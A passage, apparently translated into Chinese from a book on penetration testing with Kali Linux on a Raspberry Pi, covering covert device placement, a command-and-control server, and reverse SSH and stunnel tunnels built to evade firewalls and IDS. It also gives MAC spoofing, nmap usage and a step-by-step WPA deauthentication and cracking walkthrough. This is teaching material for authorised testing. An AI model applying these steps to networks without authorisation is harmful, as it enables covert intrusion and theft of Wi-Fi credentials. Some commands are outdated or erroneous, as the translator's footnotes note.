安全专家们常常会使用树莓派来收集分散在各地机构里诸多远程站点的信息。

在异常分散的机构里，常用树莓派来收集远程机器的信息。当然在这种情况下很多人也会使用专门的商业工具做漏洞评估；然而如果预算有限或出于厂商的合作要求，就没法采取这种方式了。比如本书作者参与过的一个安全评估项目，就涵盖全球各地的办公场所。这个项目里，出差到每个场地去做本地渗透测试颇不现实。为解决这个问题，我们将配置好Kali Linux的树莓派发到各地办公室，远程评估和测试各地网络的安全性，开销就可接受多了。在本章最后会再举例详加说明。

树莓派另一个有价值的地方是安全专家有时需要将设备长时间地留在现场。在上一个例子里，给每个办公地点寄一套昂贵的高端设备显然性价比就很低了。比起其他更大型更强劲的系统，树莓派由于外型娇小，作为移动设备所需供电也较有限，偷偷潜藏起来也更有优势。比如，将树莓派藏在一个打印机的电源变压器里 [1] ，人们一般认不出这是什么，也不会刻意去破坏一个搞不清楚用途的小黑盒子，对比看如果换成在公司某处不显眼的位置摆上一台手提电脑会怎样。在黑盒测试里，如果有机会把树莓派藏在公司的某些设备如挂钟、灯具和打印机里会非常管用。在本章中，讨论如何从中心化的管理节点出发，通过一个到多个树莓派渗透进远程网络，使这个概念更有效可行。

图2-1为藏在喵星人造型挂钟里的树莓派。

图2-1

2.2　C&C服务器

如之前所说，树莓派不是一台强劲的机器。要克服这个弱点，在使用树莓派版Kali时，捕获数据的方式最好是可控的，并且尽量以离线的方式处理运算任务。如果不这样，很多攻击工具都会使树莓派的处理器忙不胜忙，又或在查看捕获的数据时，把有限的本地存储空间都给占满了。这个内容在3.6节会详细介绍。

如果需要远程访问多个树莓派系统，建议设置一台中心C&C主控服务器（Command & Control）而不是独立地去访问各个小盒子。C&C服务器应该是一台更高效的系统如传统服务器，由它专注处理需要大量CPU运算的任务，如通过暴力枚举破解密码。更重要的是，可以使用C&C服务器直接执行分析和攻击任务，而不需要全在树莓派本地执行。例如，网络钓鱼攻击，可以将树莓派上的流量都转发给C&C服务器，由它进行分析和漏洞破解。

2.3　渗透测试需要做的准备

在第1章中讲过，Kali Linux的ARM映像文件已经为树莓派做过优化，但仍然建议额外地执行以下步骤，以确保在最稳定的状态下使用Kali Linux，尽量不要把树莓派搞垮。步骤如下。

1．建议首先按照第1章里描述的步骤，升级操作系统。如果还从未升级过系统，请翻回第1章，按步骤执行升级，这里就不再重复具体的步骤了。

2．下一步是正确命名树莓派。Kali Linux映像里的主机名是一个默认的通用名称。要修改这个主机名，可以使用vi编辑器（当然随意选择一种编辑器也没关系；即使读者爱用nano，我也完全不会鄙视你的），执行vi /etc/hostname命令，如图2-2所示。

图2-2

这个文件里唯一的内容就是主机名。图2-3是我的例子，正把原来的主机名Kali改为RaspberryPi。

图2-3

3．另外，还要修改/etc/hosts文件里的主机名列表，也可以使用vi编辑器完成。需要正确设置在这个列表文件里的主机名。图2-4所示为我正把默认的主机名从Kali改为RaspberryPi。

图2-4

4．编辑文件后要执行保存。保存文件后，再重启系统。你会发现主机名改变了，显示在命令行提示符处的已是新的主机名。

起个看起来很平淡的主机名，如“HP Jetdirect”，能更容易地混入网络中，对黑盒测试环境来说是一大好处。

2.4　超频

树莓派可以通过超频提高性能。这么做的风险是有可能大大地缩减硬件的寿命。超频会导致树莓派消耗更多的电源，所以如果电源输出较弱，超频可能会有问题。在树莓派上超频可能会导致microSD卡损坏和操作系统故障。

除非能接受系统永久性受损的后果，否则不要超频。

要给树莓派超频，可以使用raspi-config程序来进行高级硬件调整。可惜的是，Kali Linux映像里默认并没有包含这个应用，需要做一些额外的设置。但也不用太担心，这些步骤很容易。具体如下。

1．在树莓派命令行下，输入下述命令：

wget http://www.drchaos.com/wp-content/uploads/2014/09/raspberry_pi_ overclock_ files.zip

也可以使用官方链接下载所需的文件：

http://rageweb.info/2013/06/16/updated-raspi-config-in-kali/

http://rageweb.info/2013/11/07/bootconfig-txt-in-kali/ [2]

图2-5显示了执行这条下载命令时的状态。

图2-5

2．使用unzip命令把文件解压出来，如图2-6所示。

图2-6

3．然后进入解压出来的目录，会看到如图2-7所示的若干文件。

图2-7

4．在终端窗口输入如下命令 [3] ：

dpkg -i triggerhappy_0.3.4-2_armel.deb

dpkg -i lua5.1_5.1.5-4_armel.deb

dpkg -i raspi-config_20121028_all.deb

安装以上文件后，就可以启用raspi-config程序了。这个应用可以控制树莓派的某些硬件特性。但早前也警告过，除非明确了解所改配置的具体含义，否则不要乱改默认值。

通常，树莓派Model B+ 运行在1000MHz上没什么问题。但个体差异会导致性能也会不同，所以超频仍有可能给树莓派带来永久性的损害。同时超频也会使原本的保修条款无效。

图2-8展示了raspi-config命令的菜单项。

图2-8

设定的参数如下 [4] ：

arm_freq为1000

gpu_freq为400

sdram_freq为500

over_voltage为6

gpu_mem为128

修改了硬件设置后，可以从命令行输入dmesg命令，观察是否有报错日志。曾有很多人把GPU速率设置为500 MHz都没问题；但我的树莓派这么设置并运行了几天后，就看到系统里不断地报错，只好把速率再降回400 MHz，就完全没问题了。

2.5　设置无线网卡

为树莓派准备的Wi-Fi无线网卡不但要适合树莓派，还得在Kali Linux下也能正常工作才行。幸运的是，绝大多数的Wi-Fi无线网卡都可以同时在树莓派和Kali Linux下使用。在本书中，使用的是CanaKit USB Wi-Fi网卡，如图2-9所示。

图2-9

CanaKit公司出品的广受欢迎的树莓派套装中就包括这款Wi-Fi网卡。当然也可以单独购买。如果需要单独购买Wi-Fi网卡，请确保它支持Debian Linux。

以下网址包含详实的树莓派兼容网卡信息，可供参考：http://elinux.org/RPi_USB_Wi-Fi_Adapters

接好Wi-Fi网卡后，先确认系统是否能正常工作。方法是在终端窗口输入iwconfig命令，如图2-10所示。

图2-10

看到的wlan0接口就是新的无线接口。下一步就是启用这个接口。可以执行ifconfig wlan0 up命令，如图2-11所示。

图2-11

这时候无线接口应该就启用了，可以开始扫描无线网络。需要再来测试一下无线网卡以确保工作正常，同时也评估一下当前区域的无线环境。输入iwlist wlan0 scanning命令，如图2-12所示。

图2-12

很重要的一点，扫描出来的绝大多数无线网络是2.4 GHz频段的。因为绝大多数无线网卡是2.4 GHz 802.11 b/g制式的。根据需求可以更换不同型号的网卡。

执行iwlist wlan0 scanning命令会显示当前区域内找到的AP接入点的SSID和MAC地址等信息。图2-13是扫描一个无线实验室网络的截屏，这个AP的MAC地址是0E:18:1A:36:D6:22，同时也能看到这个AP使用的传输频道是36。

图2-13

这样就设置好树莓派的Kali Linux的无线网络了。

2.6　设置Kali Linux使用的3G USB上网卡

要把远程访问做得神不知鬼不觉，还可以在Kali Linux里通过3G USB上网卡，将树莓派接入手机蜂窝网络。各款上网卡会略有不同，所以各家3G卡类型和服务商的设置方式也会略有差异。推荐使用MiFi（Mobile Wi-Fi的缩写，也叫随身Wi-Fi）做热点，这样Kali Linux就能用Wi-Fi网卡接入网络了；当然，如果确实要用3G USB上网卡，请确保它能在Debian环境下工作。

在以下例子中，使用的是华为3G USB上网卡。这款3G USB上网卡可以在全球绝大多数频道下使用。

以下是设置这款3G上网卡的步骤。

1．打开终端窗口，输入以下命令：

wget http://www.ziddu.com/download/22764375/3gusbmodem. zip.html

2．输入unzip命令解压该文件。

3．切换到解压出来的目录下。

4．使解压出来的文件变得可执行，输入chmod +x 3gusbm*。

5．输入./3gusbmodem --interactive运行脚本。

6．脚本运行需要几分钟，请耐心等待。中间出现提示时，请选择Kernel模块。

然后需要选择自己的接入点名称（Access Point Name，APN）在对应的手机运营商里。可能还需要知道用户名和密码，才能登录移动运营商的APN。

上述步骤完成后选择OK按钮，很快就可以成功连上3G网络了 [5] 。

2.7　设置SSH服务

Secure Shell（SSH）可以做到身处远程，也能完整地操作树莓派上的Kali Linux。命令行是管理Linux的最常用方式。由于大部分的渗透测试并不需要用到图形界面的Kali Linux，建议尽量使用SSH或其他命令行工具。部分Kali Linux默认就启用了SSH服务，但有部分还需要手工安装OpenSSH服务。

首先需要确认SSH服务是否已经安装。输入以下命令service --status- all检查SSH服务是否在运行。如果像图2-14所示的那样看到ssh前面有个+加号，则一切就绪。如果看到的是-减号，则需要手工安装OpenSSH服务。

图2-14

要安装OpenSSH服务，打开命令行终端，输入apt-get install openssh-server安装SSH服务。启动SSH服务，输入service ssh start命令，如图2-15所示。

图2-15

启动SSH服务后，就需要将SSH服务加到系统自启动中，保证重启后服务自动运行。首先，执行update-rc.d -f ssh remove命令去除SSH在相关运行级别里的设置，具体见图2-16。

图2-16

然后执行update-rc.d -f ssh defaults命令，加载SSH的默认设置，如图2-17所示。

图2-17

这样，SSH自启动在Kali Linux系统下就设置好了，以后会保持自启动。也就可以随时重启系统，而无需额外配置就能运行SSH了。

2.8　SSH默认私钥和管理

此时树莓派就可以通过SSH做远程管理了，这挺不错的。但是，如果有另一套也是默认安装出来的OpenSSH，就非常容易获得对应的私钥。修改私钥这一步是可选步骤，但最好改掉。毕竟，如果自己的渗透测试机器反而被人黑了，还是会感到颜面扫地的。

下面就是Kali Linux系统创建新的SSH私钥的过程。

确保是直接用键盘在Console控制台下执行以下步骤的。不要在现有SSH会话里执行这些步骤。

1．在终端或命令行里，将默认的SSH私钥文件移到备份目录。

cd /etc/ssh/

mkdir default_kali_keys

mv ssh_host_* default_kali_keys/

2．执行以下命令生成新的私钥文件，观察屏幕上的提示信息。

dpkg-reconfigure openssh-server

Creating SSH2 RSA key; this may take some time ...

Creating SSH2 DSA key; this may take some time ...

Creating SSH2 ECDSA key; this may take some time ...

[ ok ] Restarting OpenBSD Secure Shell server: sshd.

图2-18显示了这个过程。

图2-18

最后一步是执行命令service ssh restart重启Kali Linux上的SSH服务。

2.9　通过SSH做反向Shell

前面已经说过在远程地点用树莓派做渗透的优点。但将树莓派放到目标网络后，首要的问题是要怎样控制这台树莓派。最明显和灵活的做法就是Kali Linux上的SSH。

因为Kali Linux是一套完整功能的Linux操作系统，可以通过SSH控制整个系统；然而，从外面连入的SSH连接可能会被防火墙或其他的安全措施拦截。许多机构都会部署安全措施，以拦截接入的连接，避免自己的网络被开后门。在白盒评估测试中，也许可以明确地要求在防火墙上开放端口设置，以访问到树莓派的SSH服务，如图2-19所示的那样。但即使公司政策不反对这一做法，但实际操作中很难实现，因为使用场景涉及多个地点，它们由不同的管理团队控制。此时反向SSH就是管理Kali Linux树莓派的好办法了。

图2-19

在反向连接中，是由客户端连向服务器端，也是由它初始化到服务器端的连接，而不是服务器连到客户端。当然在这两种情况下，都是由服务器端控制客户端。这点与很多后门程序类似。为了使用方便，我们把这种技术用于系统管理。

许多入侵检测和拦截系统都会检查出SSH类型的流量，无论是从哪个端口进出。例如，即使同样采用443端口，SSH流量和常规的HTTPS也还是会有差异。

使用ssh命令的R开关来创建连向监听端的反向连接。监听端的设备处于监听状态，等待接受反向SSH连接。在设置的场景里，C&C服务器就是监听端。远程主机（树莓派）上使用的命令语法是：ssh -R [绑定的地址:]远程端口：本地主机:本地端口 [6] 。

R开关定义了远端树莓派要和哪个外网端口连接，以及如何发起连接。换而言之，还需要选择一个外网端口，让远端的树莓派可以连过来。大多数机构对往外连的请求过滤得并不严格，使得往外连的做法比标准的SSH接入更有效。一般防火墙都会开放包括22、80、443和53等TCP端口，也就是客户端通常可以自由地连接外网这些端口。

某些严格限制外连的协议检测设备，如下一代防火墙、下一代IPS（入侵检测系统）和高级代理服务器可能会阻断这些连接。

本地端口是树莓派上某个服务的监听端口。在本场景中，运行的是SSH服务，所以本地端口默认是22。也可以把默认端口改得更隐秘些，或者使用加密通道，这部分内容会在本章后面介绍。总之这条命令会在C&C主控服务器上打开一个用于管理远端SSH的TCP端口，它在C&C服务器端等着接收树莓派的连入。而本地端口则是树莓派上运行SSH服务的实际端口。

在树莓派的例子里，输入以下命令：

ssh -fN -R 7000:localhost:22  C&C

服务器端用户名@C&C

服务器IP

地址
ssh -fN -R 7000:localhost:22  root@192.168.162.133

上面这条命令是假设树莓派可以连到外网的7000端口。如果这个端口号不能用，那就再换一个。如图2-20所示，大多数机构都允许外连到443端口。

图2-20

所以根据图2-20的情况再换一个外连端口试试，在树莓派上执行如下命令：

ssh -fN -R 443:localhost:22 root@192.168.162.133

在C&C服务器端，打开命令行终端，输入以下命令：

ssh root@localhost -p 443

根据提示要输入树莓派上Kali Linux的root用户密码。可以看到在执行上一条命令后，命令行提示符变了。我们实际上已经登录到远程的树莓派上，可以完全控制它了，关系如图2-21所示。

图2-21

要确保已安装OpenSSH服务并处于运行状态，否则整个过程无法完成。最有可能的就是看到1条拒绝连接的错误信息。所以需要先修改启动参数，确保树莓派默认重启后会启动SSH，这点很重要。

这项技术叫反向shell tunneling（命令行通道）。可以选择任意源端口，如53端口，这通常是DNS服务的端口；或者80，这通常是HTTP服务的端口。但请记住，修改端口号并不意味着底层对应的协议也跟着变了。

2.10　Stunnel加密通道

很多管理员都会部署网络检测技术，如IDS/IPS来发现和阻止VPN连接。要绕过这种检测，其中一个办法是使用加密通道（简称stunnel）技术。stunnel会把客户端和服务器端两边的通信用SSL再封装一次。它使用工业标准的加密库如OpenSSL等，对远程客户端和服务器的通信进行SSL加密。Stunnel的好处在于，它为各种常规网络服务如POP2、POP3和IMAP提供了SSL功能但却不需要改动具体程序的代码。

要使用stunnel，首先需要使用命令apt-get install stunnel4 -y获得代码，如图2-22所示。

图2-22

系统可能会提示说已经安装好最新版本的stunnel程序了。

接下来需要在/etc/stunnel/目录下新建一个名为stunnel.conf的配置文件。可以用自己习惯的文本编辑器nano或vi来修改这个文件。

将以下配置加进stunnel.conf文件里。可以自行修改其使用的端口，以更符合自己的需求。

client = no

[squid]

accept = 8888

connect = 127.0.0.1:3128

cert = /etc/stunnel/stunnel.pem

图2-23展示了stunnel.conf文件中的配置。

图2-23

下一步是执行以下命令生成私钥：

cd /etc/stunnel/

openssl genrsa -out key.pem 2048

openssl req -new -x509 -key key.pem -out cert.pem -days 1095

cat key.pem cert.pem >> /etc/stunnel/stunnel.pem

sudo bash

cat server.key > server.pem && cat server.crt >> server.pem

chmod 400 /etc/stunnel/server.pem

[7]

证书生成好后，再执行编辑命令sudo nano /etc/default/ stunnel4，进一步配置stunnel。

命令会打开相应的配置文件。将其中的Enabled = 0 [8] 改为Enabled = 1。然后再执行sudo nano /etc/stunnel/stunnel.conf命令，打开stunnel.conf文件，并把以下配置添加到文件里 [9] ：

sslVersion = all

options = NO_SSLv2

cert = /etc/stunnel/stunnel.pem

[10]

pid = /var/run/stunnel.pid

output = /var/log/stunnel

[openvpn]

client = no

accept = 993

connect = 34567

再执行以下命令创建firewall.sh文件，用于设置树莓派的防火墙策略：

sudo nano /usr/local/bin/firewall.sh

其内容为：

#!/bin/sh

iptables -A INPUT -p tcp --dport 993 -j ACCEPT
[11]

下一步是执行以下命令重启stunnel服务：

/etc/init.d/stunnel4 restart

最后一步是在Kali Linux树莓派上安装Squid代理服务器，执行命令：apt-get install squid3 -y [12] 。

2.11　安装Stunnel客户端

现在再来安装Stunnel客户端。可以在https://www.stunnel.org/downloads.html 页面里下载Windows版Stunnel客户端程序。

图2-24就是Stunnel客户端的安装程序图标。

图2-24

安装完成后，打开Windows里stunnel的安装目录，通常位于：C:\Program Files\stunnel。

将Kali上创建的stunnel.pem证书文件原样复制到Windows客户端的同一个目录下。

然后打开stunnel.conf配置文件，替换原内容为（如果使用的端口和例子里的不一样，请相应地调整自己的端口设置）：

cert = stunnel.pem

client = yes

[squid]

accept = 127.0.0.1:8080

connect =

[服务器端的公网IP]:8888

保存并关闭这个文件。然后运行stunnel.exe程序，会看到配置页面显示如图2-25所示。

图2-25

然后就可以根据配置文件里accept设置的IP和端口，安全地连上树莓派了，具体见图2-26。

图2-26

2.12　用例子总结以上步骤

回到本章开头的那个例子，复习一下在真实世界里是怎样运用本章的内容。回顾以下场景，我们的客户在全球不同地点都有办公地址，需要对每个地方进行渗透测试，但报价要适宜。为达成这个挑战，需要给每个地点组装好一套运行Kali Linux的树莓派，价值在100美金以内。我们给每个办公地点寄一套树莓派过去，由当地的人将树莓派接入本地网络。连接的方式和用到的工具会在下一章里讲到。

各地办公场所的人并不清楚我们要做什么，因此需要自己想办法突破已有的安全机制，如禁止外连的防火墙。要做到这点，我们利用邮件端口设置stunnel加密通道，在远端用一台运行Kali Linux的MacBook来连接各地的树莓派。这样就有一个主控的点，可以控制每台树莓派，并由这台机器分担大运算量的任务。这时候，就可以身处美国办公室，在各个树莓派上发起攻击了。

这种远程部署的方式，比起跑到每个办事处，然后按白天和夜晚计费，在初始预算上就大大降低了。客户们会很愿意为每个地点掏几百美金，支付这点硬件费用，因为大大节省了搭建环境和差旅的时间。在硬件开销之外，我们只需要收取渗透服务的费用，所以整个项目的费用很合理，结果也很成功。

总结

在本章中，我们学习了在渗透测试环境里，如何在树莓派上定制和运行Kali Linux。内容还包括性能调优，以及如何尽量使用命令行方式，少用GUI图形工具的最佳实践。

本章还花了比较大的篇幅介绍如何设置处于远程的C&C服务器，以减轻树莓派上处理的任务和导出树莓派上的数据（第3章会介绍如何导出数据）。这部分涉及如何在树莓派和C&C服务器之间建立通信。连接的方式包括SSH、HTTPS和其他形式的通道。另外还讨论了当树莓派位于防火墙后面时，如何通过反向shell通道连回C&C服务器，进行远程管理的方法。

在本章之后，就可以开始进行渗透测试了。在下一章，将通过树莓派上的Kali Linux进行渗透测试的练习。

[1] 　译者注：原文是hidden in a printer power cable，颇令人费解，一根cable要怎么藏一个树莓派啊！酌情译为“变压器”。

[2] 　译者注：以上这些文件现已不存在或已不适用于主流的树莓派系统。

[3] 　译者注：以上步骤实际上已完全不适用于当下主流的树莓派2及3版本，建议换以下地址下载所需的安装文件：
http://http.us.debian.org/debian/pool/main/l/lua5.1/lua5.1_5.1.5-8_armhf.deb
http://http.us.debian.org/debian/pool/main/t/triggerhappy/triggerhappy_0.3.4-2+b1_armhf.deb
http://archive.raspberrypi.org/debian/pool/main/r/raspi-config/raspi-config_20160225_all.deb
http://http.us.debian.org/debian/pool/main/a/alsa-utils/alsa-utils_1.0.28-1_armhf.deb
再执行类似dpkg -i raspi-config_20160225_all.deb等命令安装以上软件包。

[4] 　译者注：现在的树莓派里已经没有这样的设置了，直接选择overclock再选择里面更高频的配置组合即可。

[5] 　译者注：实际上本节安装步骤已无参考意义，只要输入以下命令即可：

apt-get install ppp
apt-get install sakis3g

[6] 　译者注：原文是ssh -R [bind_address:]port:host:hostport，但这行命令的写法并不完整，请以下文举例为准。

[7] 　译者注：这一节最后三句命令貌似无用。上面创建stunnel.pem的步骤已经完整了。这里的server.pem感觉跟前后文无关。

[8] 　译者注：这里在实际环境中应为Enabled，但作者似误为enable，酌情修改。

[9] 　译者注：这一段酌情调整。

[10] 　译者注：这里原文是server.pem，但和上面生成证书的步骤对不上。酌情改回stunnel.pem。

[11] 　译者注：这段略作调整，iptables应该全小写，shell文件前面应该有#!那句（当然我猜作者认为大家都知道这点了），dport前面是两个-横线，不是一个。另外少了执行./firewall.sh脚本的步骤。

[12] 　译者注：这一段似游离于上下文，后续并没有再写squid的用法和配置。

第3章　渗透测试

行文至此，我们已经介绍过如何搭建树莓派，如何安装Kali Linux，以及通过各种远程访问方式，把树莓派用于渗透测试。现在开始学习如何在目标网络里捕获数据。本章将带您领略如何使用Kali Linux里专为树莓派进行过优化的默认自带工具，以及apt-get命令额外下载的各款工具，对LAN网络和无线网络进行各种攻击的场景。Kali Linux本身自带和在线能下载到的工具可谓五花八门，但是这里会专注于那些能在树莓派上正常使用的软件。

本章讲解了以下内容：

网络扫描；

Nmap；

无线安全；

破解WPA/WPA2；

创建破解字典列表；

捕获网络上的流量；

从树莓派导出数据；

优化网络捕获；

通过脚本方式导出tcpdump结果，以便用于外部分析；

Wireshark和tshark；

使用SSLStrip破解HTTPS。

由于受树莓派大小和处理能力限制，树莓派的性能也有限。强烈建议先在实验室环境里测试后文提到的各种技术，而不是直接把它放在真实的渗透测试中使用。

3.1　网络扫描

网络勘察往往很费时，但对渗透测试来说，这又是至关重要的一步。越了解自己的目标，越容易找到最快最便捷的成功之道。最好的做法是，刚入手时尽量不与目标做一对一的交互；当然，逐渐深入了解后，会接触到具体的目标。在接触之后，就需要确认目标系统里开放了哪些端口，并摸清楚其所连接的网络环境。通常，一旦攻入了系统，就可以再继续扫描网络的另1个网段，获得目标网络中更深入的访问权限。第4章会再继续讨论这个话题。

树莓派的优势是体积小，便携性高。一般来说，Kali Linux作为攻击系统是运行在目标网络外部的。然而，类似PWNIE Express [1] 这类工具，或者某些运行Kali Linux的小型系统如树莓派，就可以放到目标网络内部，通过第2章中提到的远程方式进行管理。这样攻击者在执行内部勘察时，就得以进入网络内部，绕过了常规的边界防护。这种方式最显著的难点就是要物理地把这套系统放进网络中，并能与之远程通信而不被检测到。但如果可行，这种方式就很高效了。

下面就来接触几种最常见的网络扫描方法。假设已在目标网络中设好内应点，现在希望能充分了解当前连着的网络。

3.1.1　Nmap

要扫描网络中的主机和服务，最流行的开源工具就是Nmap（为Network Mapper的缩写）。Nmap的高级功能可以检测系统里运行的不同应用，还提供如操作系统特征识别这样的服务。Nmap效率很高，然而，如果使用不当，用它做扫描很容易被发现。建议只在特定的场合下使用Nmap，以免触发目标网络的防御系统。

关于Nmap的更详细信息，请参见http://nmap.org/ 。

要使用Nmap扫描本地网络，可以打开终端窗口，再输入nmap（目标），例如，nmap www.somewebsite.com或nmap 192.168.1.2。有很多其他参数可以调整扫描方式。例如，调整为某种隐秘的扫描模式，或把扫描结果保存到指定位置。图3-1展示了扫描www.thesecurityblogger.com 主机后的结果。请注意这是示例的情况，而且这种扫描方法可算是大肆张扬了。如果输入了上述两条命令，目标机器很可能会发现在用Nmap扫描。

图3-1

关于Nmap的各种特性，网络上有丰富的资料。在本章后面部分也会有例子再加以说明。

以下是最常用的nmap命令参考列表。

nmap 192.168.1.0/24：扫描整个C类网段。

nmap -p <端口范围>：扫描特定端口。

nmap -sP 192.168.1.0/24：扫描网络，找出当前在运行的服务器和设备。

nmap -iflist：显示主机接口和路由。

nmap -sV 192.168.1.1：检测远程服务的具体版本号。

nmap -sS 192.168.1.1：执行隐秘模式的TCP SYN扫描。

nmap -sO 192.168.1.1：进行IP协议扫描。

nmap -92.168.1.1 > output.txt：将本次扫描的输出保存为文本文件 [2] 。

nmap -sA 192.168.1.254：检查主机是否受到防火墙的保护。

nmap -PN 192.168.1.1：有防火墙保护时的扫描模式。

nmap --reason 192.168.1.1：显示当前端口处于某种状态的判断依据

nmap --open 192.168.1.1：只显示处于打开或可能打开的端口

Nmap的图形化界面软件Zenmap未包含在Kali Linux ARM版本的映像文件中。也不建议在树莓派的Kali Linux里弃nmap命令行方式而用图形界面。

3.1.2　无线安全 [3]

装有Wi-Fi网卡的树莓派还可以攻击各种无线设备如手机、平板电脑和笔记本电脑等。只要连上无线网络，扫描的方法和局域网基本类似。然而，要想连上无线网络，往往会碰到密码解密层面的问题。另外，无线网络标识符也就是SSID（Service Set Identifier）也可能已被设为隐藏模式，未对外广播，但只要使用恰当的工具，仍然可以找出隐藏SSID值。这一节包括如何绕开已有的无线防护手段，成功访问到目标Wi-Fi网络，以便执行本书中的各种渗透测试。

树莓派上安装Kali Linux的其中一个使用场景，就是便于将它藏在目标网络内部或附近，并远程发起无线攻击。目标是令树莓派以无线方式接入该网络，并让攻击者可以从远程连进网络。攻击者可能就在附近使用无线方式控制树莓派，直到它破解了目标网络的无线接入。一旦能连入目标网络，攻击者就可以与后门程序建立连接，在任意位置与树莓派进行通信并发起攻击，具体参见第2章中的介绍。在4.5节会详述怎么使用恶意接入点来构造这种攻击。

3.2　破解WPA/WPA2 [4]

最常见的保护无线网络的安全协议为WPA（Wi-Fi Protected Access）协议。WPA后来被WPA2取代，做无线渗透测试时很大概率会碰到它。

可以用Aircrack破解WPA和WPA2。Kali Linux包含了Aircrack套装，在破解无线安全方面，它是最受欢迎的程序。Aircrack先收集在无线连接里拦截到的数据包，然后通过算法分析数据，破解较弱的协议，如Wired Equivalent Privacy（WEP），或者用字典列表来暴力破解捕获到的数据。

无线客户端和接入点之间四步握手的弱点，导致WPA/WPA2存在破解可能。总体来说，客户端会对接入点进行认证，并完成一个四步的过程。此时攻击者就可以抓取到密码，并用暴力破解的方式验证密码。整个过程中，破解所需耗费的时间取决于网络密码的独特性，使用的字典列表的涵盖度，以及系统的处理能力。可惜的是，树莓派的处理能力欠缺，也没有足够大的空间来存放更大的字典文件。因此，用离线的方法破解密码，如使用工具John the Ripper可能更合理。建议破解大多数WPA2的时候都使用这种方式。

下面就在树莓派的本机上，破解运行在Linksys WRVS4400N无线路由器上的WPA协议。之所以用WPA做例子，是由于耗时的破解过程在树莓派上可以较快完成。而在树莓派上破解大多数WPA2则需要很长的时间。当然，以下步骤也是可以在效率更快的离线机器上运行的。

步骤如下。

1．启动Aircrack，打开终端窗口并输入airmon-ng，如图3-2所示。

图3-2

2．在Aircrack里，需要先选择在哪块网卡上做破解。在图3-2中，Wi-Fi网卡是wlan0。这是插在树莓派上的USB无线网卡。

3．建议在破解别人的无线网络时，隐藏自己的Mac地址。Kali Linux ARM版本没有包含macchanger这个程序。因此，需要在终端窗口里先使用udo apt-get install macchanger下载。还有别的办法可以修改Mac地址，但macchanger可以提供一个假冒的Mac，这样网卡设备看起来就像一个普通的网络设备如打印机。这对躲避检测也许比较有效。

4．然后，因为要修改Mac地址，需要先停用一下那块网卡接口。在这个例子中，就是要使用以下命令来停止wlan0。

 airmon-ng stop wlan0

 ifconfig wlan0 down

5．现在需要修改这块网卡的Mac地址，隐藏真实身份。使用macchanger将网卡Mac地址改为一个随机的值，并指定给这个接口。还有别的选项参数可以将网卡切换成其他类型的设备。在本例子中，只需要给网卡指定一个随机Mac地址，输入命令：

 macchanger -r wlan0

这里随机Mac地址为b0:43:3a:1f:3a:05，图3-3所示的macchanger显示这块网卡的新Mac信息为未知（unknown）。

图3-3

6．此时的Mac就是伪造的，用以下命令重启airmon-ng：

 airmon-ng start wlan0

7．需要先确定当前有哪些无线网络，这样才能从中选择攻击目标。执行以下命令：

 airodump-ng wlan0

8．这时候可以知道当前树莓派附近有哪些网络，可以选作攻击目标。一旦确定了攻击目标，就可以停止搜索了，按下Ctrl+C键。记下所选目标网络里的Mac地址也叫BSSID，以及频道号也叫CH。图3-4显示了目标为ESSID叫HackMePlease在CH 6上运行WPA。

图3-4

9．下一步是针对复制下来的Mac地址，再继续运行airodump抓包。执行的时候还需要以下信息：

目标网络使用的频道号；

复制下来的Mac地址（BSSID）；

保存数据时使用的文件名。

然后按以下方式运行airodump命令：

airodump-ng -c [

频道号]-w [

用于记录的文件名]--bssid [

目标网络的

ssid] wlan0

执行后，会打开一个新的窗口。让这个新窗口维持打开的状态。

同时再打开另一个新窗口，用于连接目标无线网络。这次执行的是aireplay命令：

aireplay-ng --deauth 1 -a

[目标网络BSSID

]-c

 [我们网卡的BSSID

]
[网络接口]

以这个例子来说，命令执行差不多是这样：

aireplay-ng --deauth 1 -a 00:1C:10:F6:04:C3 -c 00:0f:56:bc:2c:d1

wlan0
[5]

图3-5所示为上述命令执行后的效果。

图3-5

但执行这条命令时未必能获得完整的握手过程。如果的确如此，只能静静地等到某位合法用户访问该接入点时，才能获得攻击所需要的授权过程。如果无法创建一个完整的握手过程，并获得他人的登录授权信息，Aircrack的输出信息中可能会显示若干带有Opening [file].cap信息，后面还跟着No valid WPA handshakes found（未检测到有效的WPA握手）字样的提示。如果看到这些提示，就没必要执行后续步骤了，除非能获得一次完整的握手过程。

10．最后一步是用Aircrack破解捕获的数据，以获得WPA密钥。使用-w选项可以指定使用哪个字典文件来扫描捕获的数据。此时需要用到步骤9中创建的.cap文件，因为在本例中使用capturefile.cap文件名。需要执行以下命令：

aircrack-ng -w ./wordlist.lst wirelessattack.cap

[6]

Kali Linux ARM版映像文件中默认没有包括用于破解密码的wordlist.lst文件，通常默认的字典文件也不够全面。所以建议使用谷歌查找一些更全面的字典文件（参见下一节字典文件的介绍，可获得更多信息）。要留意自己树莓派上的硬盘空间，因为如果直接在树莓派上使用大量的字典文件，空间占用就太大了。最好的做法，还是把这种需要大量处理步骤的操作，如破解密码，在更强大的系统上以离线的方式来完成。

这时候Aircrack开始尝试利用字典文件中的密码破解捕获的数据。这个时间长短取决于密码的复杂度、字典文件里密码的数量以及树莓派的处理速度，此过程可能颇要持续一段时间。时间跨度从几小时到几天都有可能，这个过程非常枯燥繁琐，最好还是放到比树莓派更强处理速度的外部系统上运行。而且在运行了好几天，好不容易把整个字典文件都跑完之后，依然有可能落空。

如果输入命令后，Aircrack却没有运行，并未尝试用键值碰撞出密码，那原因多半是命令里没有指定 .cap文件或字典文件wordlist.lst的位置，也可能捕获的数据里就没有完整的握手数据。默认情况下，上述文件都存放在/root目录下。可以将字典文件从别处移到root目录来模拟上述命令的执行，因为这里是把所有的文件都放在root文件夹内。可以输入ls命令确认一下当前目录下的文件。确保查看的是正确的目录，命令执行时所需的文件都在该目录下。

如果攻击成功了，就能看到类似图3-6中提示的，已确认密码为sunshine。

图3-6

最后的第10步最好在远程机器上执行。可以在远程机器上设置好FTP服务器，将.cap数据文件推送到FTP服务器上或使用3.7节谈到的方式上传数据文件。

请阅读以下这篇文章，获得关于设置FTP服务器的更详细信息http://www.raspberrypi.org/forums/viewtopic.php?f=36&t=35661

3.2.1　创建字典文件

有很多途径和工具可以创建攻击所用的词语列表。其中很受欢迎的一款工具叫CeWL（Custom Wordlist Generator，自定义字典生成器），就用于创建自定义的字典文件。如果攻击目标是个人，先用它来搜刮对方的博客、领英页面或其他相关站点的常用字眼，就非常有帮助。CeWL默认不在Kali Linux ARM映像文件里，需要额外执行apt-get install cewl来下载这个程序。

要使用CeWL，先打开终端窗口，输入目标的网站地址。CeWL会检查该URL并根据在该页面上找到的不重复的单词创建字典列表。在以下例子中，针对安全博客www.drchaos.com 创建一份常用单词的字典文件，使用以下命令：

